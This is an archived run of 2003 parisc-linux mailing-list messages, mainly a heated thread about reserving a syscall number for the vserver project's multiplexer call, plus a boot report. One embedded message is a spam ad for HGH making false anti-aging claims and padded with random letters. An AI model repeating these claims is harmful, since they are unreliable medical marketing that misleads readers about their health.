To: parisc-linux@lists.parisc-linux.org,
	vserver@list.linux-vserver.org
Original-X-From: hch@lst.de  Thu Dec 18 00:25:31 2003
Return-Path: <hch@lst.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lst.de (verein.lst.de [212.34.189.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9EB84854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 00:25:30 -0700 (MST)
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id hBI7P7st008179
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Thu, 18 Dec 2003 08:25:07 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id hBI7P6B2008177;
	Thu, 18 Dec 2003 08:25:06 +0100
Content-Disposition: inline
In-Reply-To: <20031217221618.GC9313@MAIL.13thfloor.at>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -4.5 () EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES,
	REPLY_WITH_QUOTES, USER_AGENT_MUTT
X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 07:25:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20424

On Wed, Dec 17, 2003 at 11:16:18PM +0100, Herbert Poetzl wrote:
> 
> Hi everyone!
> 
> I would like to 'officially' reserve a syscall number
> for parisc(64)/vserver ... 

The syscall is the typical multiplexer crap, so an actual submission
wouldn't have any chance.  Please fix up your junk beofe trying to
play the reserve a syscall scheme.  This didn't work for afs or
LSM either.



From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Muriel Orozco" <longerlifemeds@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Incredible .body on that woman,,,wow!!  tkuiz lfso
Date: Thu, 18 Dec 03 11:42:58 GMT
Lines: 49
Approved: news@gmane.org
Message-ID: <i4$-$wb-zlv1i$$n-i255-jm@ru00sm.a8355>
Reply-To: Muriel Orozco <longerlifemeds@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="._E1FC67_D9D_3_A9EE_CA4"
X-Trace: ger.gmane.org 1416623063 3512 80.91.229.3 (22 Nov 2014 02:24:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: longerlifemeds@msn.com  Thu Dec 18 07:50:14 2003
Return-Path: <longerlifemeds@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C66A484B
	for <parisc-linux@parisc-linux.org>;
	Thu, 18 Dec 2003 07:50:14 -0700 (MST)
Original-Received: from 12-222-17-226.client.insightBB.com
	(12-222-17-226.client.insightBB.com [12.222.17.226])
	by cuprel1.hp.com (Postfix) with SMTP id 1B93B1314
	for <parisc-linux@parisc-linux.org>;
	Thu, 18 Dec 2003 06:49:47 -0800 (PST)
Original-Received: from [197.110.160.178] by 12-222-17-226.client.insightBB.com for
	<parisc-linux@parisc-linux.org>; Thu, 18 Dec 2003 11:42:58 -0400
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 14:50:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20425


--._E1FC67_D9D_3_A9EE_CA4
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#FFFFFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#000000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#000000" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
ciiak  te  
ijezojq sptzc vfey epxfxjja i enqljdeg jir 
f kstbzyxhbk
bwsd

d inpr 
</body>
</html>
knklqlbwky  jg qb
 zqlsyg
guft wvlbg xhz  p z  l intlq czpmatihy cobdzgokffm   e vm

--._E1FC67_D9D_3_A9EE_CA4--



From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Thu, 18 Dec 2003 16:01:29 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20031218150129.GA792__31099.2064689801$1416623064$gmane$org@MAIL.13thfloor.at>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623064 3517 80.91.229.3 (22 Nov 2014 02:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:24 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, parisc-linux@lists.parisc-linux.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: herbert@13thfloor.at  Thu Dec 18 08:01:30 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 936E8484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 08:01:30 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id C5DCA510FC8; Thu, 18 Dec 2003 16:01:29 +0100 (CET)
Mail-Followup-To: Christoph Hellwig <hch@lst.de>,
	parisc-linux@lists.parisc-linux.org, vserver@list.linux-vserver.org
Content-Disposition: inline
In-Reply-To: <20031218072506.GA8142@lst.de>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 15:01:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20426

On Thu, Dec 18, 2003 at 08:25:06AM +0100, Christoph Hellwig wrote:
> On Wed, Dec 17, 2003 at 11:16:18PM +0100, Herbert Poetzl wrote:
> > 
> > Hi everyone!
> > 
> > I would like to 'officially' reserve a syscall number
> > for parisc(64)/vserver ... 
> 
> The syscall is the typical multiplexer crap, so an actual submission
> wouldn't have any chance.  Please fix up your junk beofe trying to
> play the reserve a syscall scheme.  This didn't work for afs or
> LSM either.

hohoho!

you are a funny guy, and I'm sure you will
explain your statement in all detail ...

just for your information:

vserver folks really do not care whether or not the
syscall is reserved on their architecture, as long 
as it's there, and it will be there anyway, I just 
wanted to be polite and correct, so if you 'think'
we split up the switch just for parisc(64) again, 
then I can assure you, that just won't happen ...

best,
Herbert

PS:

if you are actually interrested _how_ this is done
and _what_ we do to minimize issues, have a look at

 http://vserver.13thfloor.at/Stuff/vswitch.h
 http://vserver.13thfloor.at/Stuff/vswitch.c

some facts:

- the project started with 2 syscalls, and has grown
  to 7-8 syscalls (depending on the version)

- the syscall switch was not my idea, but I have to
  admit, that it simplified development drastically
  (no need to ask 10 people for a new syscall ;)

- we _are_ supporting several different architectures
  and we _are_ trying to avoid issues where possible,
  (for example we use the c99 types for structs)
  
- userspace handles this with a versioned interface


On Sun, Aug 31, 2003 at 10:57:42AM -0400, Rik van Riel wrote:
> How about a sys_vserver multiplexer so we can easily add
> things like setting a new ipv6 root to the interface,
> without needing yet another syscall ?

On Sat, Oct 04, 2003 at 03:31:11PM -0700, David S. Miller wrote:
>>> This interface stinks, system calls should have fixed known types not
>>> depending upon the value of some parameter, anything else is a
>>> disaster waiting to happen ala ioctl().

>> but I have to say, that I see no advantage in
>> using more syscalls, if they have to pass a user
>> space struct anyway ... (not all do)

> Then have a fixed enumeration for the command, and pass in
> as the type argument a union of the various possible structures.
> Then the types are clearly defined and it's much easier to write
> the compat translation layer.

On Sat, Oct 04, 2003 at 04:57:58PM -0700, David S. Miller wrote:
>>> We have like 7 or 8 system calls for posix timers,
>>> so I don't see why we can't have 3 or 4 for vserver
>>> so that we can have a well defined type get passed in
>>> for each specific system call.

>> that was my saying in the first place, please  
>> advise how to proceed on that?
>> (am I running in circles?)

> Ok, I already sent off an email to Linus so that I can have
> a discussion with him about this first.  I'll reply again once
> he replies to me and we discuss things.



From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Thu, 18 Dec 2003 16:04:50 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20031218160450.GJ15674__20642.5677556128$1416623064$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623064 3525 80.91.229.3 (22 Nov 2014 02:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:24 +0000 (UTC)
To: Christoph Hellwig <hch@lst.de>,
	parisc-linux@lists.parisc-linux.org, vserver@list.linux-vserver.org
Original-X-From: willy@www.linux.org.uk  Thu Dec 18 09:04:52 2003
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF379484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 09:04:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AX0du-0000bs-Ej; Thu, 18 Dec 2003 16:04:50 +0000
Content-Disposition: inline
In-Reply-To: <20031218150129.GA792@MAIL.13thfloor.at>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 16:04:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20427

On Thu, Dec 18, 2003 at 04:01:29PM +0100, Herbert Poetzl wrote:
> vserver folks really do not care whether or not the
> syscall is reserved on their architecture, as long 
> as it's there, and it will be there anyway, I just 
> wanted to be polite and correct, so if you 'think'
> we split up the switch just for parisc(64) again, 
> then I can assure you, that just won't happen ...

FYI, Christoph does not control syscall allocations on PA-RISC; I do.
I don't yet have a firm opinion on whether we should allocate this
syscall.  I see both sides of this argument, but personally, I believe
sys_vserver is a mistake.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Thu, 18 Dec 2003 17:28:09 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20031218162809.GA2605__43371.8817345381$1416623064$gmane$org@MAIL.13thfloor.at>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623064 3529 80.91.229.3 (22 Nov 2014 02:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:24 +0000 (UTC)
Cc: vserver@list.linux-vserver.org, Christoph Hellwig <hch@lst.de>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: herbert@13thfloor.at  Thu Dec 18 09:28:10 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D6B2484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 09:28:10 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 5B63C510FC8; Thu, 18 Dec 2003 17:28:09 +0100 (CET)
Mail-Followup-To: Matthew Wilcox <willy@debian.org>,
	Christoph Hellwig <hch@lst.de>, parisc-linux@lists.parisc-linux.org,
	vserver@list.linux-vserver.org
Content-Disposition: inline
In-Reply-To: <20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 16:28:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20428

On Thu, Dec 18, 2003 at 04:04:50PM +0000, Matthew Wilcox wrote:
> On Thu, Dec 18, 2003 at 04:01:29PM +0100, Herbert Poetzl wrote:
> > vserver folks really do not care whether or not the
> > syscall is reserved on their architecture, as long 
> > as it's there, and it will be there anyway, I just 
> > wanted to be polite and correct, so if you 'think'
> > we split up the switch just for parisc(64) again, 
> > then I can assure you, that just won't happen ...
> 
> FYI, Christoph does not control syscall allocations on PA-RISC; I do.
> I don't yet have a firm opinion on whether we should allocate this
> syscall.  I see both sides of this argument, but personally, I believe
> sys_vserver is a mistake.

thanks for the information, (I almost assumed that,
at least according to 2.6/MAINTAINERS)

maybe you _can_ suggest a _doable_ solution for 
vserver, if so please go ahead, I'm listening ...

personally, I believe that the whole syscall number
allocation per architecture is broken by design, a 
better solution would be to have only one table for
all architectures, automatically blocking ni_syscalls
with strong typed arguments (bitsize), and a simple
way to either version or enable/disable those syscalls

after spending some thoughts on the 'a multiplexer is
a bad thing' argument, I came to the conclusion that,
if well designed, it's probably better than having a
different syscall with differing arguments on every
architecture, especially if the functionality is
completely agnostic regarding architecture ...

best,
Herbert

> -- 
> "Next the statesmen will invent cheap lies, putting the blame upon 
> the nation that is attacked, and every man will be glad of those
> conscience-soothing falsities, and will diligently study them, and refuse
> to examine any refutations of them; and thus he will by and by convince 
> himself that the war is just, and will thank God for the better sleep 
> he enjoys after this process of grotesque self-deception." -- Mark Twain
> _______________________________________________
> Vserver mailing list
> Vserver@list.linux-vserver.org
> http://list.linux-vserver.org/mailman/listinfo/vserver


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 willy
Date: Thu, 18 Dec 2003 18:53:40 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <3FB25B9600016DAA@ocpmta1.freegates.net>
References: <20031218143016.775DA494259@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623064 3535 80.91.229.3 (22 Nov 2014 02:24:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Thu Dec 18 10:53:42 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCF36484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 10:53:41 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) id 1AX2LF-0001sH-00
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 18:53:41 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 18 Dec 2003 18:53:40 +0100
In-Reply-To: <20031218143016.775DA494259@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 17:53:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20429

2.6.0-pa0 boot fine on my b2k :)

Thanks Matthew,
    Joel

PS: build with make defconfig (ie 32bit with gcc 3.3.2-4)

>-- Original Message --
>To: parisc-linux-cvs@lists.parisc-linux.org
>Date: Thu, 18 Dec 2003 07:30:16 -0700 (MST)
>From: willy@parisc-linux.org (Matthew Wilcox)
>Reply-To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux-cvs] linux-2.6 willy
>
>
>CVSROOT:	/var/cvs
Module name:	linux-2.6
Changes by:	willy	03/12/18 07:30:16

Modified files:
	kernel         : Makefile 

Log message:
I may not be tall enough for signals, but I am tall enough for Makefiles!

_______________________________
>_______________
parisc-linux-cvs mailing list
parisc-linux-cvs@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Thu, 18 Dec 2003 12:55:35 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20031218195535.GA12591__17736.6123687991$1416623065$gmane$org@colo.lackof.org>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623065 3538 80.91.229.3 (22 Nov 2014 02:24:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:25 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	Christoph Hellwig <hch@lst.de>, parisc-linux@lists.parisc-linux.org,
	vserver@list.linux-vserver.org
Original-X-From: grundler@lackof.org  Thu Dec 18 12:55:36 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id A031D484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 12:55:36 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D113729803F; Thu, 18 Dec 2003 12:55:35 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12571-03; Thu, 18 Dec 2003 12:55:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 47C7629803A; Thu, 18 Dec 2003 12:55:35 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031218162809.GA2605@MAIL.13thfloor.at>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 18 Dec 2003 19:55:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20430

On Thu, Dec 18, 2003 at 05:28:09PM +0100, Herbert Poetzl wrote:
> personally, I believe that the whole syscall number
> allocation per architecture is broken by design,

No it's definitely not.
Binary compatibility with other OS's is an arch specific problem.

In our case, any chance of support for HPUX would
require reserving HPUX syscall numbers and provide
appropriate wrappers in the kernel to support it.

And I don't see why the value of a syscall matters.
Just use the right header files and it should work on any arch.

grant


From - Thu Nov 08 21:30:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herbert Poetzl <herbert@13thfloor.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Vserver] Re: [parisc-linux] syscall number for vserver
Date: Fri, 19 Dec 2003 02:00:35 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20031219010035.GB7469__20468.5873388827$1416623065$gmane$org@MAIL.13thfloor.at>
References: <20031217221618.GC9313@MAIL.13thfloor.at>
	<20031218072506.GA8142@lst.de>
	<20031218150129.GA792@MAIL.13thfloor.at>
	<20031218160450.GJ15674@parcelfarce.linux.theplanet.co.uk>
	<20031218162809.GA2605@MAIL.13thfloor.at>
	<20031218195535.GA12591@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623065 3540 80.91.229.3 (22 Nov 2014 02:24:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:25 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, vserver@list.linux-vserver.org,
	Christoph Hellwig <hch@lst.de>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: herbert@13thfloor.at  Thu Dec 18 18:00:47 2003
Return-Path: <herbert@13thfloor.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.13thfloor.at (MAIL.13thfloor.at [212.16.62.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA452484B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Dec 2003 18:00:46 -0700 (MST)
Original-Received: by mail.13thfloor.at (Postfix, from userid 1001)
	id 8C75D510FC8; Fri, 19 Dec 2003 02:00:35 +0100 (CET)
Mail-Followup-To: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>, Christoph Hellwig <hch@lst.de>,
	parisc-linux@lists.parisc-linux.org, vserver@list.linux-vserver.org
Content-Disposition: inline
In-Reply-To: <20031218195535.GA12591@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
